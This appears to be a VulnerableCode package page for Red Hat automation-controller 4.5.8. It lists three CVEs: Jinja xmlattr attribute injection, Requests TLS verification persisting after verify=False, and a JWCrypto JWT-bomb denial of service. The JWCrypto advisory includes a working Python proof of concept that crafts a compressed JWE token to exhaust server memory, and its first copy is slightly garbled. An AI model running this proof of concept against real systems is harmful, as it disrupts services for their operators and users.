VulnerableCode Package Details - pkg:rpm/redhat/automation-controller@4.5.8-1?arch=el9ap

Search for packages

Vulnerability	Summary	Fixed by
VCID-at54-9w17-wbe8 Aliases: CVE-2024-34064 GHSA-h75v-3vvj-5mfj	Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter The `xmlattr` filter in affected versions of Jinja accepts keys containing non-attribute characters. XML/HTML attributes cannot contain spaces, `/`, `>`, or `=`, as each would then be interpreted as starting a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. The fix for the previous GHSA-h5c8-rqwp-cp95 CVE-2024-22195 only addressed spaces but not other characters. Accepting keys as user input is now explicitly considered an unintended use case of the `xmlattr` filter, and code that does so without otherwise validating the input should be flagged as insecure, regardless of Jinja version. Accepting _values_ as user input continues to be safe.	There are no reported fixed by versions.
VCID-duvn-u125-dqan Aliases: CVE-2024-35195 GHSA-9wx4-h78v-vm56	Requests `Session` object does not verify requests after making first request with verify=False When using a `requests.Session`, if the first request to a given origin is made with `verify=False`, TLS certificate verification may remain disabled for all subsequent requests to that origin, even if `verify=True` is explicitly specified later. This occurs because the underlying connection is reused from the session's connection pool, causing the initial TLS verification setting to persist for the lifetime of the pooled connection. As a result, applications may unintentionally send requests without certificate verification, leading to potential man-in-the-middle attacks and compromised confidentiality or integrity. This behavior affects versions of `requests` prior to 2.32.0.	There are no reported fixed by versions.
VCID-ygj7-qwt8-sud5 Aliases: CVE-2024-28102 GHSA-j857-7rvv-vj97	JWCrypto vulnerable to JWT bomb Attack in `deserialize` function ## Affected version Vendor: https://github.com/latchset/jwcrypto Version: 1.5.5 ## Description An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this Token, it will consume a lot of memory and processing time. ## Poc ```python from jwcrypto import jwk, jwe from jwcrypto.common import json_encode, json_decode import time public_key = jwk.JWK() private_key = jwk.JWK.generate(kty='RSA', size=2048) public_key.import_key(*json_decode(private_key.export_public())) payload = '{"u": "' + "u" 400000000 + '", "uu":"' + "u" * 400000000 + '"}' protected_header = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "zip": "DEF", "kid": public_key.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=public_key, protected=protected_header) enc = jwetoken.serialize(compact=True) print("-----uncompress-----") print(len(enc)) begin = time.time() jwetoken = jwe.JWE() jwetoken.deserialize(enc, key=private_key) print(time.time() - begin) print("-----compress-----") payload = '{"u": "' + "u" * 400000 + '", "uu":"' + "u" * 400000 + '"}' protected_header = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "kid": public_key.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=public_key, protected=protected_header) enc = jwetoken.serialize(compact=True) print(len(enc)) begin = time.time() jwetoken = jwe.JWE() jwetoken.deserialize(enc, key=private_key) print(time.time() - begin) ``` It can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer. <img width="172" alt="image" src="https://github.com/latchset/jwcrypto/assets/133195620/23193327-3cd7-499a-b5aa-28c56af92785"> ## Mitigation To mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also been adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing attackers from exploiting this vulnerability with high compression ratio tokens. ## References [1] [CVE-2024-21319](https://github.com/AzureAD/azure-activedirectory-identitymodel-extensions-for-dotnet/security/advisories/GHSA-8g9c-28fc-mcx2)	There are no reported fixed by versions.

Vulnerability

Summary

Fixed by

VCID-at54-9w17-wbe8
Aliases:
CVE-2024-34064
GHSA-h75v-3vvj-5mfj

Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter The `xmlattr` filter in affected versions of Jinja accepts keys containing non-attribute characters. XML/HTML attributes cannot contain spaces, `/`, `>`, or `=`, as each would then be interpreted as starting a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. The fix for the previous GHSA-h5c8-rqwp-cp95 CVE-2024-22195 only addressed spaces but not other characters. Accepting keys as user input is now explicitly considered an unintended use case of the `xmlattr` filter, and code that does so without otherwise validating the input should be flagged as insecure, regardless of Jinja version. Accepting _values_ as user input continues to be safe.

There are no reported fixed by versions.

VCID-duvn-u125-dqan
Aliases:
CVE-2024-35195
GHSA-9wx4-h78v-vm56

Requests `Session` object does not verify requests after making first request with verify=False When using a `requests.Session`, if the first request to a given origin is made with `verify=False`, TLS certificate verification may remain disabled for all subsequent requests to that origin, even if `verify=True` is explicitly specified later. This occurs because the underlying connection is reused from the session's connection pool, causing the initial TLS verification setting to persist for the lifetime of the pooled connection. As a result, applications may unintentionally send requests without certificate verification, leading to potential man-in-the-middle attacks and compromised confidentiality or integrity. This behavior affects versions of `requests` prior to 2.32.0.

There are no reported fixed by versions.

VCID-ygj7-qwt8-sud5
Aliases:
CVE-2024-28102
GHSA-j857-7rvv-vj97

JWCrypto vulnerable to JWT bomb Attack in `deserialize` function ## Affected version Vendor: https://github.com/latchset/jwcrypto Version: 1.5.5 ## Description An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this Token, it will consume a lot of memory and processing time. ## Poc ```python from jwcrypto import jwk, jwe from jwcrypto.common import json_encode, json_decode import time public_key = jwk.JWK() private_key = jwk.JWK.generate(kty='RSA', size=2048) public_key.import_key(**json_decode(private_key.export_public())) payload = '{"u": "' + "u" * 400000000 + '", "uu":"' + "u" * 400000000 + '"}' protected_header = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "zip": "DEF", "kid": public_key.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=public_key, protected=protected_header) enc = jwetoken.serialize(compact=True) print("-----uncompress-----") print(len(enc)) begin = time.time() jwetoken = jwe.JWE() jwetoken.deserialize(enc, key=private_key) print(time.time() - begin) print("-----compress-----") payload = '{"u": "' + "u" * 400000 + '", "uu":"' + "u" * 400000 + '"}' protected_header = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "kid": public_key.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=public_key, protected=protected_header) enc = jwetoken.serialize(compact=True) print(len(enc)) begin = time.time() jwetoken = jwe.JWE() jwetoken.deserialize(enc, key=private_key) print(time.time() - begin) ``` It can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer. <img width="172" alt="image" src="https://github.com/latchset/jwcrypto/assets/133195620/23193327-3cd7-499a-b5aa-28c56af92785"> ## Mitigation To mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also been adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing attackers from exploiting this vulnerability with high compression ratio tokens. ## References [1] [CVE-2024-21319](https://github.com/AzureAD/azure-activedirectory-identitymodel-extensions-for-dotnet/security/advisories/GHSA-8g9c-28fc-mcx2)

There are no reported fixed by versions.

Vulnerability	Summary	Aliases
This package is not known to fix vulnerabilities.

Vulnerability

Summary

Aliases

This package is not known to fix vulnerabilities.

Date	Actor	Action	Vulnerability	Source	VulnerableCode Version
2026-04-01T13:49:13.451661+00:00	RedHat Importer	Affected by	VCID-ygj7-qwt8-sud5	https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2024-28102.json	38.0.0
2026-04-01T13:47:50.253200+00:00	RedHat Importer	Affected by	VCID-at54-9w17-wbe8	https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2024-34064.json	38.0.0
2026-04-01T13:47:27.070811+00:00	RedHat Importer	Affected by	VCID-duvn-u125-dqan	https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2024-35195.json	38.0.0